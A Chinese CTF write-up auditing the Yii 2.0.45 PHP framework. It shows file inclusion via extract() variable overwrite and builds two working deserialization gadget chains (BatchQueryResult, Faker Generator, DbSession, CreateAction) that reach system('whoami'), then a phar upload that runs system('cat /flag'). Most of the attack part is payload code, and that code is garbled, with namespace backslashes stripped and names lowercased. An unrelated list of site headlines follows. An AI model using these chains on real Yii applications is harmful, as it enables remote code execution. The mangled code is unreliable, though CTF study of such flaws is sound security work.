聊聊PHP的web应用程序开发框架存在的漏洞有哪些

概述
简单说下yii 是一个高性能php的web 应用程序开发框架。通过一个简单的命令行工具 yiic 可以快速创建一个 web 应用程序的代码框架,开发者可以在生成的代码框架基础上添加业务逻辑,以快速完成应用程序的开发。
小伙伴ctf比赛时,遇见了这个框架,把题型发来,既然是代码审计,这个附件应该就是源码,把这个下载下来,看看里面有啥吧。
下面附两张图:
接下来就聊聊这个框架存在的漏洞有哪些,稍稍做个总结。
文件包含
当小白看到文件上传的功能时,而且没有限制文件类型的逻辑,便想到了这个框架可能存在文件包含的漏洞,因为上传的路径是/tmp的路径,不在web目录下。
如果想利用必须要通过文件包含、或者目录穿越的漏洞。
从过源代码的分析,文件目录是这么定义的。
if (yii::$app->request->ispost) {    $model->file = uploadedfile::getinstance($model, 'file');    if ($model->file && $model->validate()) {        $path = '/tmp/' . $model->file->basename . '.' . $model->file->extension;        $model->file->saveas($path);        return $path;    }else{        return json_encode($model->errors);    }}  
当basename和extension不能通过改变请求包控制时,所以文件穿越不存在,只能文件包含了,随百度之。在源代码里有这么一段代码:
public function renderphpfile($_file_, $_params_ = []){    $_obinitiallevel_ = ob_get_level();    ob_start();    ob_implicit_flush(false);    extract($_params_, extr_overwrite);    try {        require $_file_;  
extract是将数组解析成变量的一个函数,通过构建_file_的变量值,来包含tmp下的文件,这是小白当时做题时的思路。
构建方式是在控制器里有一个接受外界参数的变量,如下所示data
public function actionindex(){    $data = [['a'=>'b'],'_file_'=>'/etc/passwd','name'=>'14yn3'];    return $this->render('index',$data);}  
访问后的结果如下:
证明确实存在,小白按照代码的规则进行项目的整体查阅,只找到类似这种结构的代码段
$model->password = '';return $this->render('login', [    'model' => $model,]);  
这种model的参数,构建不出来file变量名,而且这是一个对象的形式。
后来想破坏对象的结构,构建数组,花费一个多小时无果,寻找另外个入口。至此证明yii存在变量覆盖,文件包含的漏洞。
gii 出场【phar反序列化】
当所有代码段都不满足构建条件的时候,便有了这个gii哥们的想法,它是一个自动给开发者构建模块、数据、控制器简单逻辑的工具,或者说脚手架,验证开启方式:全局搜索gii.
访问方式:r=gii,如下图所示:
然后构建我们自己的控制器,点击控制器生成下的start。在表单里随便填下控制器名称,点击预览,
生的的代码如下:
看到并没有把render的第二个参数给传递过去,至此文件包含的思路彻底放弃。既然都聊到这了,那就索性看这个gii有什么漏洞,谷歌百度一下,
yii反序列化【payload是自己构建、不同于找已存在漏洞】
查一下现在系统的版本号:2.0.45 this is yii version 2.0.45.
链一
vendor/yiisoft/yii2/db/batchqueryresult.phpphppublic function __destruct(){    // make sure cursor is closed    $this->reset();}public function reset(){    if ($this->_datareader !== null) {        $this->_datareader->close();    }    $this->_datareader = null;    $this->_batch = null;    $this->_value = null;    $this->_key = null;    $this->trigger(self::event_reset);}  
所以这个$this->_datareader是可控的,那么close方法,这里就有两个思路,第一个是存在close方法,寻找利用点,第二个不存在,调用call方法的利用点,先看第二个的思路,找call方法,vendor/fakerphp/faker/src/faker/generator.php。
public function __call($method, $attributes){    return $this->format($method, $attributes);}public function format($format, $arguments = []){    return call_user_func_array($this->getformatter($format), $arguments);}public function getformatter($format){    if (isset($this->formatters[$format])) {        return $this->formatters[$format];    }  
这个类的$this->formatters也是可控的。当调用close的方法,便调用了call方法,此时close的方法名,便作为call的第一个参数被传递进来,也就是method是close。
此时构建payload【payload输出有特殊字符,需要在console的控制台复制】
namespace yiidb{    class batchqueryresult{        private $_datareader;        public function __construct($_datareader) {            $this->_datareader = $_datareader;        }    }}namespace faker{    class generator{        protected $formatters = [];        public function __construct($formatters) {            $this->formatters = $formatters;        }    }}namespace {    $a = new fakergenerator(array('close'=>'phpinfo'));    $b = new yiidbbatchqueryresult($a);    print(serialize($b));}  
此时的payload在这个ctf给定的压缩代码里是不能执行的。因为这个版本大于2.0.37。到这里找一下为什么不能执行,查阅文档得知。这两个类都实现了wakeup的方法,
//batchqueryresult.php【只要序列化这个类,就报错】public function __wakeup(){    throw new badmethodcallexception('cannot unserialize ' . __class__);}//generator.php【只要序列化这个类,formatters的内容就置空】public function __wakeup(){    $this->formatters = [];}  
当注释掉这两个方法的时候,就可以实现返回值了。注意目前调用的函数没有传递参数,只能掉phpinfo这类的函数,输出是字符串类型的。结果如下:
补充:正则匹配call_user_func($this->([a-za-z0-9]+), $this->([a-za-z0-9]+)。
链二
研究完了call的方法,现在看看close的方法。当全局搜索close方法的时候,找到vendoryiisoftyii2webdbsession.php。
public function close(){    if ($this->getisactive()) {        // prepare writecallback fields before session closes        $this->fields = $this->composefields();        yii_debug ? session_write_close() : @session_write_close();    }}/** * @return bool whether the session has started * 开启dug,在这个版本下,此函数验证为true,小于2.0.38不需要开启debug */public function getisactive(){    return session_status() === php_session_active;}protected function composefields($id = null, $data = null){    $fields = $this->writecallback ? call_user_func($this->writecallback, $this) : [];    if ($id !== null) {        $fields['id'] = $id;    }    if ($data !== null) {        $fields['data'] = $data;    }    return $fields;}  
call_user_func方法如果$this->writecallback为字符串,就是方法名,如果是数组,就是类名和方法。
所以为了解决给方法传递参数的缺陷,这里再去调用另一个类的方法,这个方法可以是可以传递参数进去的。使用链一的方法备注正则搜索。调用的文件代码如下:
//vendor/yiisoft/yii2/rest/createaction.phppublic function run(){    if ($this->checkaccess) {        call_user_func($this->checkaccess, $this->id);    }//$this->checkaccess和$this->id都是我们可控的  
构建payload
namespace yiidb{    class batchqueryresult{        private $_datareader;        public function __construct($_datareader) {            $this->_datareader = $_datareader;        }    }}namespace faker{    class generator{        protected $formatters = [];        public function __construct($formatters) {            $this->formatters = $formatters;        }    }}namespace yiirest{    class createaction{        public $checkaccess;        public $id;        public function __construct($checkaccess,$id){            $this->checkaccess = $checkaccess;            $this->id = $id;        }    }}namespace yiiweb{    class dbsession{        public $writecallback;        public function __construct($writecallback) {            $this->writecallback = $writecallback;        }    }}namespace {//    $a = new fakergenerator(array('close'=>'phpinfo'));//    $b = new yiidbbatchqueryresult($a);//    print(serialize($b));    $c = new yiiestcreateaction('system','whoami');    $b = new yiiwebdbsession(array($c, 'run'));    $a = new yiidbbatchqueryresult($b);    print(serialize($a));}
跳转gii
通过前台上传功能,上传
这个文件,然后返回上传路径:
gii控制器生成页抓取数据包
在后面增加cmd=system('cat /flag'),因为在phar.jpg中有这个一个执行代码
即可拿到flag。


光纤传感在物联网技术中的应用
电子玻璃激光切割解决方案
u-blox公司LISA 3G模块通过Telstra移动网络兼容性认证
iOS13这样设置最省电
协作机器手臂工具将实现智能制造生态系统解决方案
聊聊PHP的web应用程序开发框架存在的漏洞有哪些
嵌入式操作系统如何应用_嵌入式操作系统的组成
TB1238AN- -IIC总线控制的TV处理集成电路
土壤参数速测仪的功能特点及技术参数
E2ROM存储器读写器的制作和使用
德州仪器、研华和eInfochips联合为高性能视频流应用开发人员推出HLS协议栈
FPGA比ASIC有更短的设计周期和灵活性 非常适合需要推向市场的产品
广州当地政府决定使用无人汽车配送物资
基于无线IP传感器和GPRS无线网络实现ISSTS系统的设计
中国通信联合华为共筑新基建网络安全
基于虚拟仪器的开关磁阻电机监控系统设计方案
5G正在撬开一个新世界
挑选液晶拼接屏的几大要点
TriQuint最新高效率多频多模功率放大器为全球下一代3G/4G智能手机扩展连接时间
还在抱怨荣耀8手机续航不给力? 只要你关闭这个功能就能解决!